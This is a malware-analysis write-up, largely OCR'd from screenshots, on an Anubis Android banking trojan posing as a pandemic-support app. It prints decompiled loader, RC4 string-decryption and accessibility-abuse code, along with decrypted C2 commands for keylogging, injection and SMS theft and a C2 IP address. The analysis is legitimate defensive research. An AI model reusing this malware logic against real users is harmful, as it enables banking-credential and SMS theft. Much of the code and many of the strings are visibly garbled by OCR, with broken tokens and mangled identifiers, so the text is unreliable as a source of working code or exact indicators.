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Introduction

Anubis is one of the most well-known malware in the Android Malware family. It’s still
popular for threat actors today, given its capabilities and the damage it has done to andorid
users in the past. On the other hand, it offers many Malware Developers the opportunity to
sample their abilities to create a new malware.

It is possible to find thousands of different Anubis samples produced to date on platforms
such as Koodous and Abuse.ch. Basically, we can say that Anubis consist of 2 stages. Let’s
take a look at these stages and what they do.

Two Stages Of Anubis

Threat actors, if they plan to present the Anubis through a legit application such as Google
Play, they use the application we will call Dropper at this point. Dropper’s task is to download
and install the real Anubis malware on the device from the moment it starts working. On the
other hand, in scenarios where threat actors plan to spread Anubis through websites, fake
campaigns or fake gifts, we can see that they share the Anubis application directly without
using Dropper.

Droppers

As it seems, Droppers try to mislead their targets by imitating other popular legitimate apps
on Google Play.

Dropper apps should attract as little attention and be silent as possible to evade Google Play
security services. For this reason, Droppers’ abilities are very limited. It will be more than
enough for threat actors to install Anubis on the target device in the safest way possible. So
how can Dropper applications install Anubis on the device? Let’s take a look at this together.

REQUEST INSTALL PACKAGES , the first red lights that appear with the sunrise, our hero who
first greeted us when we started our story.
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With this permission Android applications can obtain the ability to install an external
application on the device.

And thus, Anubis malware is successfully installed on the device. As we mentioned above,
Droppers imitate legitimate apps on Google Play to hide themselves and gain trust. On the
other hand, Anubis do nearly same things with Droppers. It uses the current pandemic
process and the impact of this process on society in order to hide itself and gain trust.
Application names such as Pandemic Support, COVID-19 Support, 2000 Turkish
Lira Support, Pandemic Support Application and emblems of official ministries are
widely used at this point.
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Checksums

App Her Aile’ye 2000 TL Pandemi Devlet Destegi

Name

MD5 9e2ebf224ef23e5d01a88e6bd06d6ad0

SHA-1 defb1558ddc36fd10050f2cd65617dce7274dc01

SHA-256 a0eb4e0e7346422d18d3421d1f185fcb2b01ac3080ab3b3bc68d67aab1f4477d
Static Analysis

The first thing we need to look at in the static analysis section will of course be the
permissions requested by the application in AndroidManifest.xml .
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SEND_SMS" />

WAKE_LOCK" /=
ACCESS_LOCATION_EXTRA_COMMANDS"™ /=
RECEIVE_BOOT_COMPLETED"/=>
READ_CONTACTS" />

CALL_PHONE" /=
REQUEST_DELETE_PACKAGES" />
REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
READ_PHONE_STATE"/=>

READ_SMS" />

REORDER_TASKS" />
SET_WALLPAPER_HINTS" /=
INTERNET" />

SET_WALLFAPER" />
ACCESS_NETWORK_STATE"/>
RECEIVE_SM5"/=>
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Frankly, many mobile malwares are giving themselves away at this point, we can say that
application permissions are just one of the cornerstones of this business. Likewise, Anubis
gives us the chance to guess what it can do with so much power it wants, but in the following
parts of our article, we will see that Anubis is actually a Malware that contains more than we
think. If we need to give an example, we can make a few statements on

RECEIVE_BOOT_COMPLETED among the permissions requested. Thanks to this reciever
permission, android applications can run in the background while the device is starting up
and ensure its continuity on the device, and in the scenario we see, we realize that this
permission is also on the list of requests by Anubis.

One of the features we are used to seeing in many mobile malware is runtime class loading.
When we continue to examine our AndroidManifest.xml file, it is possible to see that the
classes that are not in the activity section are listed. From now on, it is certain that Anubis
will do something to load the lost classes as it starts up.

%3 Anubiso. apk [l AndroidManifest.xml X |
0

¢ @source code
o @ aisle
o & camp
& & com
o i lake
- @ org
o i pigeon
- @ 1u
o & thumb
9 €2 Resources
o [lassets

. ACCESS_LOCATION_EXTRA_COMMANDS " />
n.RECEIVE_BOOT_COMPLETED" />

n. READ_CONTACTS" />

. CALL_PHONE" />
ssion.REQUEST_DELETE_PACKAGES™/>
ssion.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />

<uses-permissio
11| <uses-permissiol
12| <uses -permis:

13| <uses-permission an
14| <uses-permission an
15| <uses -permis:
16| <uses-permis: a
17| <uses-permission android:n:
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ssion.READ_SMS" />
ssion. REORDER_TASKS" />
ssion. SET_WALLPAPER_HINTS"/>
ermission. INTERNET" />
ssion.SET_WALLPAPER"/>

ion. ACCESS_NETWORK_STATE" />

o [ META- INF
- [ires

=//AndroidManifest.xml

g classes.dex

- [B resources.arsc
AP APK signature

ientation="portr
api.GoogleApiAc

TTOt. 5ki. fTog. ZTNNIURAPYdKZFsXzTcC1Pd" />

yZkHhXqT1XjMjHGLXUGBFUFLOEGWOLGPWZM
ientation="landscape" />
ski. frog. STKTgNiUdGj HuMhAcSmQwAbQb)

ientation="portrait"/>

Tot.ski. frog.KUL0sSoMx" />
ot.ski.frog.qupv.gstmzijgp® android:permission="andr

There are multiple ways to access our classes that will be loaded later, in our report we will
refer to class loader function hooking and manual unpacking methods. For our static
analysis, we will reach our classes that will be loaded later by hooking the

dalvik.system.DexClassLoader function, but in the last section, we will aim to reach
these classes with manual unpacking.

Spawned " pigeon.theme.earth™. Use %resume to let the main thread start executing!
[YOPYOPYOP: :pigeon.theme.earth]-> “resume

[YOPYOPYOP: :pigeon.theme.earth]-> [+] DexClassLoader Catched -> /data/user/0/pigeon.theme.earth/app_DynamicOptDex/hLc. json

BINGO!!! Our dex file, which is wanted to be loaded using the DexClasslLoader function,
is right here, and the classes it contains are the lost classes that appear in the
AndroidManifest.xml we mentioned above.
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e[Ficjson] Gpbh X |
A Source code

o[Fporrot ST ; ackage parrot.ski.frog; [+
Toa 3 fimport android.app.Activity:
*~B@a 4 |import android.content.Intent;
@b 5 [import android.graphics.Point;
e @b 5 limport android.os.Bundle;
“Oa 7 limport parrot.ski.frog.b.a
& limport parrot.ski.frog.b.b;
~®b 9 |[import parrot.ski.frog.qupv.bcpvl;
¢ # cpdlloupc tbwrbvi

> @ usqggyaguygwa 1jpublic class pbh extends Activity {

¢ @ crytmicioeczjrnm a - newa();
+@a bb = newb()
I8 1] ac-newa:
© bnff private string d - (pbh.class.getsimpleName() + this.c.al);

@ brqrmevyu

¢ # ekiwugagitoxba #* access modifiers changed from: protected */
& @ mctbdwzairkcwx 18 @0verride // android.app.Activity
- @ ortcmw 12| public void onCreate(Bundle bundle) {
+® ufnrogbu 20 super. onCreate (bundle) ;
- ® voev 21 if (1this.a.b(this)) {
2 Point point = new Point();
= © wlarh 23 getwindowManager () . getDefaul tDisplay() .getsize(point); 5
¢ # qupv 2 a avar = this.a;
& ©@ bepvl b string str - this.c
> ® gstmzijgp 2% avar.a(this, str, this.c.a0 + point.x);
o @ latrgzbxy 7 a avarz = this.a;
.o 23 String str2 = this.c.p;
qcvy 2 avar2.a(this, str2, this.c.a0 + point.y);
& @ ynbnuiveztazn 20 try (
> © zjwenxfun 31 if (this.a.d(this, this.c.c).contains(this.c.am)) {
o @ zshpflsiuluolw 2 this.a.a(this.d, this.c.du):
~@a 3 this.a.g(this);
P )
hd 35 ) catch (Exception unused) {
- (TRESoUTCE

3% this.a.a(this.d, this.c.dv);

7 this.a.d(this);

)

a avar3 = this.a;

a.a(this, this.c.a0, 10000);

try

if (:this.a.a(this, bepvl.class)) {
startService(new Intent(this, bepvl.class)):

i
} catch (Exception unused2) {
if ('this.b.b(this)) (
this.a.a("run_king_service", this):

}

Code [ smali

In fact, when we first open the hLc.json file, we realize that there are dozens of unnecessary
enum classes added for obsfucation purposes, but eybisi’s jadx fork allows us to easily
eliminate this problem with its Hide Enum Classes feature.

When we examine our loaded dex file and the classes in it, we are faced with many strings
encrypted in the parrot.ski.frog.a class.

2 hic.json Ga X |
¢ 3 source code

1 jpackage parrot.ski.frog; [o]
¢ @ parrot.ski.frog | preasE 9
¢ #a = [import android.util.Basefd;
+~B®a limport parrot.ski.frog.a.b;

~®b 5 limport parrot.ski.frog.qupv.bepvl;

@b ¢ fimport parrot. ski. frog.qupy.ynbnuiveztazn;
“@a 7 limport parrot.ski.frog.qupv.zshpflsiuluolw;

-@b

# cpdlloupctburbvi

> © usqggyaguygwa

¢ @ crytmicioeczjrnm

-®a

& ® bnff

& ® brqrmnevyu

 ekiwugagitoxba

& @ mctbdwzairkewx

o|public class a {

public string A = a("sinjalqhibjxNTZkZmNiNzhkzDcam2viMmIx");
public string B = a("gbaathcuodcdNDVhZWZNNGMINTIXHDUWZGYhYZd1NZB1"
public String C = a("ipegupoljuowYTH3YzLuM;j TyMmFmY AdY2FnMzFkYu-
public String D = a(“mpkiiieitdlpOWZmMGNNZE1MDUZNZZhMTNMDR]ZGY5ZDgSYWQRODhymY3 ™)
public String E = a("eghswsbocmbwNTQSZNRIMTAGMDVIONYSMn IKMGE=") ;

public String F = a("pyxqdewsdzzxMjlnMDgaYTgy0TkSYUyN=="

public String G = a("qcwyixgpotxpZTUSZDYXMGEZMDQ1YTIZMAMS" ) ;

public String H = a("hllalhdwcuwoYWRINTLIN] gONZMWHZMIMDQZMTEAZUZYMIYNDJL") ;

public String T - a("prxcvfhbokeh0GQSMZ]M; gyZmRhMzFIMZESNIA=") ;

-

-

+ @ ortcmw public String J = a("dkmxcxtafvcyOTNiNIMAZDFmNZku"
+® ufnrogbu public String K = a("diiofpjbfala¥jQsy2MxNThi0DAZODBIYTGL") ;
«® voey public String L = a("noiugavdwvivy2TwNzEzOTQSNDTyZDNKY NLYzhmYmImNzH="
public String M = a("jsutoepcpjTbNWQSZTISNZAGNWZRZWNMMIUX") ;
> ® wlarh public String N = a("mxxfyfbrvtavZmNkyiMa~);
¢ # qupv public String O = a("guohrjdxwznaZWyyNjhjYjQ3z3E1Y BhOTEYM] dmMWU3INZQ="
@ bcpvl public string P = a("ciyynpenrbspNDA3ZGNkYzc2NGYz0Tc22TdhZTJ10Dg5YmUyNQ:
=@ gstmzijgp public String Q = a("sofifbtwtfkiNDdjNNU2ZGQOZINIMHELYHRIONESOHRL" ) ;
« @ Tatrgzbxy 7| public String R = a("rrwyvmhicixvyYmMzNmUGN] Y12DkyY2J OTASNmYZNIZK" )}
+ @ gev 28 public string S = a("rmtibhkentjsNDh1MjhhMn)LZTHWYWUZNGEINTMWZg=="
qcvy 2 public String T = a(“exfuotgsojjtNjMOZDFiNMYyZ3gxZHYXZmE2Y2NNNw:
¢ © ynbnuiveztazn 30 public string U = a("hyvbgzetzidjNDU3MzNKkNzdmNWI10DY4NzZkZDA1YWZMNDRKYT 1hMD11iYZM4MjUXN2YZODK@NWI ZOWQ=
> © zjwewxfun E public string V = a("vimxohuaazklOTkxODc20TczMzgxZDViYTgwNZNIOWN]™);
o ® zshpflsiuluolw 2 public String W = a("butyvxadgipwOGF1YzkzODAyZDM3NZGWNWFhYZYWNDIONTFKMN IWNTI=") ;
-0k 33| public String X = a(“wduxzlsjvastHjMyYTAGYTQxYIHZNViZGYY0GYYOGI] ") ;
=@ pbh 4 public string Y = a("gkhsairofigpYjBkNjdhoDMSZiAX");
o 35 public String Z = a("encruttikseaM2YyOWI1YzMxNDcBODNKYMEXZDKINGE3");
> E2Resources 3| public boolean a - false;

7 public string aA = a("mdbecssguzilYTk4ZTRINZUZZNYSZDgwM2YwZmY2NTELMTNIMGMyMZR1Z]NmODY4Y mNmNzk4 2] E3Y]Q50GU2YTkaNZNKZWY ZM2ViZDQ=") ;
public String aB = a("hpjdmpqtithwNWRhMIMAYWEYY]ImY MyMGU1YInZnMaNTE=");

public int ac - o;

public string aD = a("vvevkmgksnzuNjdlZjZhMGUzN2FmMTBmZGJkMmISODVKNmQZY jc2MTJKkYmUWOTE@ZDM3OTKWN] YSZDd jOGQWODAZZTKSZWRMY TF j ZWFLYmE3MT.
public String aE = a("ptcjneofdngsN2YzNmZmNDQzMDR] ZjE2YmFmNzk2ZmEINMEWM2FhZ jU2NmJ1OTVmY TEXNWRKOGZhZJE2MjRiMmRkYWIwMWF kNmUZN] QON: )
public String(] aF - {a("oqjhtukwezbxNGRKUTHEONYSYEIN2 TxM] BYTH 1M} CSNTASMTMZNTQAM] C1OTh1 ZmMSHiFLONTONI VKNTU" ), a( “ptcineofdngshayz
public string aG = a("tzridqwymfpcZjUaNWUxN2UIMTIZNZK3NG:
public String aH = a("lxweqnsariyuY2VINTVIZThmMGQXMWQ1Yy:
public string aI = a("tflwaxrhfivgMWMzOTI20DI=");

public string aJ = "UTF-8";

public String ak = a("ibyisherptua¥TclvzViMau=");

public string aL = a("elxynmdrdyybYjYSOTNKNGIMN2N] ONIyNjQ4MT1hN212ZDgyM, :
B 71— D

Code | smali

");
)

[«

String Decryption

Looking at our encrypted strings, we see that they all go tothe a(String str) function
before being defined to any variable. When we examine this function and code flow, we are
faced with a process that we are familiar with.
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RC4+BASEG64

public string a(string str) {
try {
return new String(new b(str.substring(®, 12).getBytes()).a(b(new String(Basecd.decode(str.substring(12), @), "UTF-8")1))):
} catch (Exception unused) {
return ""
}
}

public byte[] b(String str) {
int length = str.length(};
byte[] bArr = new byte[(length / 2)7];
for (int i = 0; i < length; i += 2) {
bArr[i / 2] = (byte) ((Character.digit(str.charAt(i), 16) << 4) + Character.digit(str.charAt(i + 1), 16));
}
return bArr;

}

public String c(String str) {
try {
return new String(Bzsecd.decode(str, @), "UTF-8");
+ catch (Exception unused) {
return "";
}

With our decryptor function, our encrypted string is first divided into 2 parts, the first 12
characters of these parts are used as the decryption key and the remaining expression is used
as chipertext.

public String a(String str) {

try ¢ _

return new string(new b{str.substring(@, 12)getBytes()).a(b(new Str;ng[Eias»‘:f--’l.decode @), "UTF-8"))));

} catch (Exception unused) {
return "":

After our string, which is divided into 2 parts, is converted to the appropriate format, it is
sent to our RC4 function.

Anddd Here Is The Our RC4 Implementation Function

22 hic.json ®a X [©Gb X |
¢ @ Source code 1 package parrot.ski.frog.a;|
¢ @ parrot.ski.frog 5
e #a 3 public class b {
+~0®a 4 private int[] a;
-Gb 5|  private int b - o;
b 6| private int c = 0;

& f cpdlloupc tbwrbvi | public bibytes barn) ¢
9 tl

his.a = c(barr);
}

& f crytmicioeczjrnm
& f ekiwugagitoxba

> & qupv
~@a private void a(int i, int i2, int[] iArz) {
= © pbh int i3 = iArT(i];

- Bresoires

}

private int[] c(byte[] bArr) (
int[] iArr = new int[256];
for (int i = @; i < 256; i*+) {
iArr(il - i
)

int i2 - o;
for (int i3 = 0; i3 < 256; i3++) {
i2 = (((42 + ATr[i3]) * bArr[i3 % bArr.length]) + 256) % 256;

a(i3, 12, iArr);

}
return iArr;
3

public byte[] a(byte[] bArr) {
return b(bArr);
3

public byte[] b(byte[] bArr)
byte[] bArr2 = new byte(bArr.lengthl;
for (int i - 0; i < bArr.length; i++) {
38 this.b = (this.b + 1) % 256;
S int i2 - this.c;
o int[] iArr - this.a;
int i3 - this.b;
this.c = (i2 * iArT[i3]) % 256;
a(i3, this.c, iArr);
4 int[] iArr2 - this.a;
] bArrz(i] = (byte) (iArz2[(iArr2([this.b] + iArz2(this.c]) % 256] ~ bATT[il);

P )
o return barr2;
sl
o)
Code | smali
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Anubis uses these ecrytped strings that we see in runtime by decrypting them. Come on now,
let’s look at the contents using the script I wrote to decrypt all the strings here and when we
look at the outputs, we can reach more detailed information about the capabilities of Anubis,
each of our decrypted strings here are very important, but I marked a few of the first ones
that caught my attention.

batuhan in ~/Downloads A python3 base_rc.py

statMails

activeDevice

timeWorking -
statDownloadModule

lockDevice

offSeund -

keylogger

activeInjection --

timeInject

timeCC -

timeMails

dataKeylogger -

autoClick

key -

display_width -
display_height

checkProtect

go0ffProtect

timeProtect -

packageName -
packageNameActivityInject
logsContacts -~
logsApplications

logsSavedSMS

locale

batteryLevel

Destek Paketinizi AktifleAt
TkAN2NKZWYZM2ViZDQ=
CRViysGgKzt6i -
android.provider.Telephony.SMS_RECEIVED
jOGQWODA3ZTK5ZWRMYTF jZWF1YmE3MTImNT Lk
android.permission.READ_PHONE_STATE -
AMMRKYWIwMWFKNmUZN j QON
android.permission.SEND_SMS
android.permission.READ_PHONE_STATE  --
AMMRKYWIwMWFKNmU ZN j QONg-=:
android.permission.READ_CONTACTS
hKNWE3MTUS5Nw:

timestop -

package: -

>> -

Pandemi Destek  --
http://107.172.82.116/
idbot

ERROR View Injection:

application -

START SERVICE 1
START SERVICE 2:
WORKING SERVICE:
Error #1 onAccessibilityEvent

click unlock device
nodeInfo == null
CLICKED

Xi

Y:
packageApp{
} strText{
} className{
} .

com.android.settings.SubSettings --

RkODE2ZmFkNA:

Log Keylogger Size: -

com.android. settings:id/action_button

JAyZDBKYmYANmFINDNMY2QyODNINTQ=

action=botcheck&dat:

Iinol| -

action=registration&data

action=sendInjectLogs&da

action=sendSmsLogs&dat
imeInject&data:
endKeylogger&da

action=getModule&dat:

action=checkAP&data= -

Not Yet Implemented

> sinjalghibjxNTZkZmNiNzhkZDcaM2VjMmIx
-> gbaathcuodcdNDVhZWZmNGMINTIXMDUWZGVhYzd1NzBl
> ipegupoljuowYTM3YzImMjIyMmFmYjA4Y2FmMzFkYy
--> mpkiileitd1pOWZmMGNmNZE1MDUZzNzZhMTNiMDRjZGY5ZDg5YWQOODIhYmY3
eghswsbocmbwNTQ5ZmRIMTA@MDV10WY 5MmJ kMGE=
> pyxqdewsdzzxMjImMDg4YTgyOTKk5YWUyNQ==
> qewyixgpotxpZTUSZDYXMGEZMDQLYTIZMWMS
-> hllalhdwcuwoYWRINTLINj gONzMwMzMIMDQZMTEA4Z jUZYmIYNDI 1
-> prxcvfhbokeh0GQ5MNZ jMjgyZmRhMzFIMZE5Nj A=
> dkmxcxtafvcyOTNiNjMAZDFmNzkw
> dilofpjbfalaYjQ5Y2MxNTh10DAzODBiYTgl
> noiuqavdwvivY2IwNzEZOTQSNDIyZDNKY jN1YzhmYmImNzM=
--=> jsutoepcpjrbNWQ5ZTI5NzAONWZhZWNmMjUx
mxxfyfbrvtavZmNkyjMa
> guohrjdxwznaZwYyNjhjYjQ3ZjELY jBhOTEYMjdmMWU3NZQ=
> ciyynpenrbspNDA3ZGNKYzc2NGYz0Tc2ZTdhZTI10Dg5YmUyNQ==
sofifbtwt fkiNDdjNmU2ZGQOZ jNjMWE2YWR1OWE3OWRL
rrwyvmhkixvyYmMzNmUON]Y1ZDkyY2JjOTASNmYzNWZk
rmt ibhkont j SNDh1MjhhMmI1ZTMwYWUZNGE IMTMwZ
exfuotgsoj jtNjMOZDF jNmYyZjgxZWYXZmE2Y2NhN
--> hyvbgzetzidjNDU3MzNkNzdmNWI 10DY4NzZKkZDALYWZmNDRKYT LhMD11YZzM4MjUXN2YZ0DkONWI zOWQ=
vrmxohuaazkl0Tkx0Dc20TczMzgxZDVjYTgwNzNiO0WNj
-->  butyvxadqipwOGF1YzkzODAyZDM3NzgwNWFhY2YWNDIONTFKMmIWNTI=
->  wduxzlsjvastMjMyYTAOYTQxYjMzNmViZGYy0GYy0G] j
> qkhsairofigpYjBkNjdhODMSZjAx
-> encruttikseaM2YyOWI1YzMxNDc@ODNKYmExZDk1NGE3
--> mdbecssguzilYTk4ZTRINzUZzZmY5ZDgwM2YwZmY2NTE IMTN jMGMyMzR1Z jNmODY4YmNmNzk4ZjE3Y jQ50GU2Y

hpjdmpqt ithwNWRhMjM4YWEyY j ImY jMyMGU1Y j ImZmM4NjE=
--=> yvevkmgksnzuNjd1ZjZhMGUzN2FmMTBmMZGIKMmI50DVKNMQzY j c2MTIkYmUwOTEGZDM30TkwNjY5ZDd

ptcjneofdnqsN2YzNmZmNDQzMDR jZj E2YmFmNzk2ZmE3NmMEWM2FhZ jU2NmJ 10TVmMYTEXNWRKOGZhZ jE2MjR

htukwezbxNGRKMTMOOWYSY jE3N2IxMjB1YTMIM] cSNTASMTMZNTQAM]c10Th1ZmM5Mj FLOWION jVKNTU1
> ptcjneofdngsN2YzNmZmNDQzMDRjZj E2YmFmNzk2ZmE3NmEWM2FhZ j U2NmJ 10TVMYTEXNWRKOGZhZ jE2MjR

---> pyvcrvisbbweMDUIMGQ1ZTAXYZc4Y2FKZGISYTZ jMzcOYMViIMWUZYZUOM]YZzMzIKNTMwNjNjZGMzN2VKN j VmZD

> tzridqwymfpcZ jUSNWUXN2U3MTI3Mzk3Ng
TxweqgnsariyuY2VINTV1ZThmMGQxMWQ1Yw
> tflwaxrhfivgMwMzOTI20DI=

> zcolsvwnvj LfY2EyNjBKMTI1YTEXNWM50TUSMDBLYWFMM2I4NQ:
-> tnrsxlugmchtMGQONTA3Y2IwNzkyZTYzMGQwWN jkOY jE5YmViINDU2ZGM10WMOOWI LOWE1ZWM=
rgnnrihfeljnMmEINGFhZmNjY(
-> yodjqgvuyyuaYWVmNjhjMzZ jZjZhNGY3ZWVKY jgzZjZiNjN1ZGNhNjRIMGE20DZ10GM3Z jk=
vivivtdjvjjxym
--> rcdouyzsguehNjIKOTUXZTIiNzVINGIKZGYZZTg3Zg==
> xncqresqzizhNmNiMzE4Y2Y=

> nghkcoiigdgaNmVjNzQyNDM=
->  pkawikmezadgMjg3MjIzMDk20WIKYWE=
vdriouvixsnhMDU=
-> xyvolszerrrsMjc5ZmM3YzZ M

-> crggfghafzkvyYTQzOTE®OGM30GM10Dg5MWU zMWN jMWUXZTFKMjZ1ZmZmZ,

-> mfrxmeaxiirqYjAzYjQ2YTM20TE2MDNINZN1Y2YOMGY5Mjg4MDIOOWEYZ

->  zvevquocpvabMzRINDN]Y jY2NWEZOWMANDZ {ZWF1Z JRKZWYGOTCyYZYXZA:

---> bmoalmilfsdfMTY5MTUyODJ iMGFkYZzhhMTM3MjU2MzMzZWY3ZGESMjNhNZY30TI5Zjg0Y jRmZDIOM2QwMzEZZWQZY

---> fvicrscvinziNjQyMGNhY2E2MzAZY jYSNTKZNTEONGFKY2RKOTISZjg4Z jgxNmU=
--> ywrhbfdxdxyyZj1kMDIXMGFiN2Y1N jM1YmY5NzQ2NGRhMzZ jMmVKZ jY=
> xfbonpcduripZjYwNzZINDAYNGQzM2VhMzI1
-> gruvemriquvnNDMONDdjNjg3N
->  xozurmdndpusZDM3NTA2Y2VmY\
> zebmytpzohjaMzV1Z jVmM2FkMzgwYWI2NT c3M2E2)
gzkhqfgxviwgM2E4ZWRiYTY5ZTBhMDg40DAZY2M=
->  ignxntykuekdNWFkMDQINGUZzN2NTM2FkOWImZmI2Mj Lk
uhjvqyjkckzZDk=
---> ypdwkgwnemzqgMjYOMGR1ZDQ5MWQyMj k3YWYyYWJ iMmMwOTAZMj k2NWUOYWESNTIXYTgOZjQyYzgyMGUONT FmOW

tnlswpnpatmwMDY IMGU4ANjU2ZGMxMTIhNzR1Mzg1MzY2NTZ jMjRKNDdhYTYwWNmE ZNA=:
-> gmukjwocscheYWQzND1hMjQA0WE50W] j Y2EOMDkAZGR jY2EAMGI iNDcy YWNmODIXN2Y2MnQ1ZGU2N2U0Y

--> mrehbymcy1xbZTM1ZnZmOWQ4MzY40WNmOD1iMzQwNGM30GQ1Y jIXOWFhNZBjZj E4YWM2
vkfdllwqlidgNzIkZTEQYmUIMTE4
zodbsexMTZINmF jMDM3YWIONzJhZDI3ZTM50GI30GYxZmFhZTUOOWZKN jM2ZWYyNTg0ZGQONZQ=
-> jejvxaxjeircMGQIM2FjMzI3N2YwOThhYjlhYjRhOTY5YZEwWY jAYNGVMOTQ3YjUONzCcyZGRhZ jE3NMI1YTAY
mtcldilnejggNTA40DQXZ jYxMWM20DdmNDUAMWFKODQyNThmMmYwMDMyNjAA4Z jA3YmIzYTTINmNL
pvwiotwnulcwMjdjM2I3NDYZZDA2MjUAYTd jMGN LYWEWMWINOTg1ZWEONTZ10GF j YmJ 10GM1M
> rhkybcqvqvhfY2F jNWF iNmZ1NzY10TRhZTVhOWD jMWNmNDRmMmUWY zMyMzMzMDE30DY 1Y2M5ZTMXZWZhZ g==
rosunmxovvhtZTI5YmJ jMWEXYZIzZDM1Y jAYNGQ3Z]jFINTUXZTh1YTcyY jIkMjEYMjMSMGE=
wkroampfhwldZjMyMjZkZmE1ZmRj YTcwNDczZTZkMzUyNDMzZ jdhOTY5MzFKNmFmMg==
> vzpbjnaxicquYTgzOWMIMWVNTVIZjdmNT1jYzBKYTcyNzE2MmIWZ jAYN2RjYzk=
-> ccglltvzvgeuNGQyM2UyY jEzNjczNzAzZY2FjZjI=
--->  msxgffgqpiaubNmIONMRIMTFmOGIkKZI
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str_params - > vkxyxtlccwpyYWQ3MnI INWQOOGRKOWR jNDc 2YTk=
mergedJSON - > ntoskfsafotxNjciMjZkM2IzZDY3Y2IyZTFmNjQ=
JSON - 1qgvddjorsgnNDFmMzQz0TM=
ERROR SettingsToAddJson => hizsprjiomzmNwY3MzQ4MjFIM2IhZmUx0DcyOGUYY2YzYTgwZGE20TkwY jgzM2Y2YjUANTE10Q==
Initialization Start 1! ->  dtpqdgxthpwwY2M1ZDNmZjFiYmVjYzVhOGZhNzc3ZDcwYW] iMTASYmRKMDInMmIWZTE3ZW] jZ
Initialization Start 2! viamrmnzuktjZTAyM2MxMGRhZTYONDZ jMjVjMTd jNjAZMj A4NGVhM jUAYTMIM2Q4NZK ZNZAyM
ccbrejeoxdoiNzVmMmIhMz Iwy2ImMTIX0ODCS

wrsjdflpyrpoYjgyMWR1ZjQ=
b'<html lang="en">'
RegistrationRESPONCE > lcnopftcwvbpZTIIMMVhMTEZMj Q5ZDNiMTg5Y jMyOTFhNGF LODg5SNThhZDEwWY zZY5MD1kZDQ=

pvzaycfttwciZmFjM
wouvesivbtpaNTM1ZjVINMUINjk3
updateSettingsAndCommands dgufsrbxqjyyZGE3MzFhNjVIMGZ 1ZDdmMGVINWIWNDg4OWEyNZCcWNTM5YWUANDE4NZUWZ jUZOGN jMzY=
response - slpjxynvfdqvZTc2NjEXNWF NTA2MDQ1INw==
Tick: - > lwnzqotfvawiYjhjOTRKNjc5MDQz
apk gneghizwgekcZDk3YmMy
serviceWorkingwhile -> ohkceklcz jgxNTViZTUyNDEYNzUzMGQ5YmQ1ZGNTMWI zNjRmYmV1MzM2ZmEwMzQ=
tick nlicrprkiuyvNzEyNjUs0Tc=
accessibility -> fnbgwhpayqyoZWE5MDk20TM4YmZhMGUZNmU4YTE 1Y j IyNmY=
ERROR: module Dex Start -> lbrdgludsgogMGImMThhNDdhY jA3ZTA3Yzc00DIzODA2MjNjNTRKY zZRkNZU5Z jkxM2M2NGM20A==
-1 - bsuylswyamxdNWIyN,
2 - htvctetbmipgMzA=
down LoadModu leDex -> ghwdtpqwciufZjdkNTBL1ZDNmODAYOTR1ZDY3YmI1M]jgyZWRhMzg10Tc2Me
Download Module: -> lozroghn1dzbMTU4M2VmMj ImMDUXOTcxMWM5ZWYSNZEXNDTINTA1MDA!
Save Module -- gbxgyreuzrboDBmMjkyZmUzMWU2Y2NjOWY1ZGM2Mg==
ERROR: Work File Module ->  fzmpqubzgjvbZGZkODczYTIhZ{diZTZ]YmUyZTASNGM3ZmY2MDY2ZDLINTV]YZRING] jZ6I1ZQ==
outdex - ydcbnhxd fhqzODVmMj VhMjQ2NmNL
com.example.modulebot.mod zrmfulaxdard0OTkwMDIhMjRhYmI IMNVhNTRMNGY1ZDA1MGU10DMZMGZMNZA2ZTBhY zh iM2UOMz LmMWY=
main - kerbhnxfZDkzMmZh0Tc=
DexClassLoader - ghgetqchtcaaMD 1iNDk2MmNiMzU4N2MyODk40DgxYzd1Y2E5Yg==
Error: - geyqupdbazee0Thi0Tg20Dg5NDY5NDI=
getNameApplication - --> vumsyzmzpmcfZ jNhYTLhYThUINjcwNmd jMWF jYWQZzYTEZYmE@ODZ jNmY@MGRL
Error Method - gkstdchwkxwbZ jk0ZmYyYzUwNDgOMWFLODC3Y jY1ZTFk
LockDevice - > tgxgibkrrjhoYTUS0WMyMj1iZ jRhMGEXNjk30DI=
ERROR agezfnighlleNwMsYzFiYzIkNw==
starterService - ----> yzxosaugqtmsNGMzNTcwMjg5MDA2MzF INDc4NjdINDhiNzVkZg==
b'<html lang="\xb1\xf9\xe@i\xc7gs;\xa84921a9fd8ab54d4ald2ce538hbd5263d8"
b'">'
Inject: > cmfkzzmehcrdZThiNWI3Y2RhYWQ2MDY=
# - kovyjlgeixdgYWEwYmJi
nstlyiighpvmZDIhZWIzZmY40TYwYjk20GYZNWQ3ZmRINjFhYTE3YmMyZmMyMnJkZTRMGNjZ jUyZDAXM2Y2

oisbj ibvmwhyNWNiMzk1Y2ZkNjEyNmYxMzQzNDI4MDdm
BLOCK DISABLE ADMIN ->  ssrxhuriiokjMjQOM2VjMzQ5MjQwMDMIMjYOOTY 10WF jN2M3MjdhMTQONZI4ZDQ=

When I examined the strings we decrypted, I realized that some of them were just defined

and never used again. First, I thought that the variable that the string is connected to would

be a decryption result. But I couldn’t find any function of this type, then I came across
DexClasslLoader in strings :D

public stri b{Context context, Stri str) {
try {
if (!new File(context.getDir(this.a.dg, @), this.a.bk).exists()) {
return "";
I “lass loadClass = new DexClassLoader[lew File{context.getDir(this.a.dg, @), this.a.bk).getCanonicalPath(},
return loadClass.getMethod(this.a.dt, Context.class, String.class).invoke(loadClass._newInstance(), context,
} catch (Excepti e) {

stri str2 = this.a.du:
a(str2, this.a.dv + e.toString());
return "":

String str2 = this.a.du; // this.a.du = DexClassLoader

The sample we examined loads the module it received from the C&C Panel with the

action=getModule&data= request in runtime using DexClasslLoader and runs the class
it loaded with com.example.modulebot.mod , which I encountered in strings. There are
multiple unused strings inside, including those with the package names of applications such
as Telegram, Whatsapp, Tencent, Ubercrab, Viber, Snapchat, Instagram,
Twitter.

encent.mm, com. vil
hotmail, com.mic ft.office.outls

ne| 1KNTUZMD1]M]1iNzZIO

tiusenIwOTVMOGN]M] YwWNmI4M]
lvetzfchcNDM1M] JmZTQ1M]
hjwndpwvsyMTQyYEzMWYzZN
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Since C&C Panel is not active, I could not examine the module to be loaded in runtime, but
there are many harmful activities that can be mentioned in the classes we have. To mention

them in order;

public void a(AccessibilityService accessibilityService, AccessibilityEvent accessibilityEvent, String str) {

try {
if (Build.VERSION.SDK_INT >= 18 && str.contains[”com.google.android.apps.authenticatorz“|] {
a("run", "com.google.android.apps.authenticator2™];
if (accessibilityEvent.getSource() != null) {
String str2 = "";
int i = @;
